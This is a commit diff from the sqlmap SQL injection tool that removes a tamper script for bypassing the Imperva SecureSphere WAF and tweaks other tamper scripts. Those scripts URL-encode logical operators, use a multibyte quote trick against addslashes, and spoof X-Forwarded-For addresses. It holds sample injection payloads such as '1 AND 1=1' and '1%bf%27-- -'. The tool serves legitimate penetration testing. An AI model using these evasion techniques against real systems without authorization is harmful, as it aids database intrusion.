Minor cleanup

tamper/securesphere.py

@@ -1,26 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.NORMAL
-
-def dependencies():
-    pass
-
-def tamper(payload, **kwargs):
-    """
-    Appends special crafted string for bypassing Imperva SecureSphere WAF
-
-    Reference:
-        * http://seclists.org/fulldisclosure/2011/May/163
-
-    >>> tamper('1 AND 1=1')
-    "1 AND 1=1 and '0having'='0having'"
-    """
-
-    return payload + " and '0having'='0having'" if payload else payload

tamper/symboliclogical.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import re
+import urllib
 
 from lib.core.enums import PRIORITY
 
@@ -25,6 +26,6 @@ def tamper(payload, **kwargs):
     retVal = payload
 
     if payload:
-        retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
+        retVal = re.sub(r"(?i)\bAND\b", urllib.quote("&&"), re.sub(r"(?i)\bOR\b", urllib.quote("||"), payload))
 
     return retVal

tamper/unmagicquotes.py

@@ -25,7 +25,7 @@ def tamper(payload, **kwargs):
         * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
 
     >>> tamper("1' AND 1=1")
-    '1%bf%27-- '
+    '1%bf%27-- -'
     """
 
     retVal = payload
@@ -46,7 +46,7 @@ def tamper(payload, **kwargs):
             _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
             if _ != retVal:
                 retVal = _
-                retVal += "-- "
+                retVal += "-- -"
             elif not any(_ in retVal for _ in ('#', '--', '/*')):
-                retVal += "-- "
+                retVal += "-- -"
     return retVal

tamper/xforwardedfor.py

@@ -14,8 +14,10 @@ def dependencies():
 
 def randomIP():
     numbers = []
+
     while not numbers or numbers[0] in (10, 172, 192):
         numbers = sample(xrange(1, 255), 4)
+
     return '.'.join(str(_) for _ in numbers)
 
 def tamper(payload, **kwargs):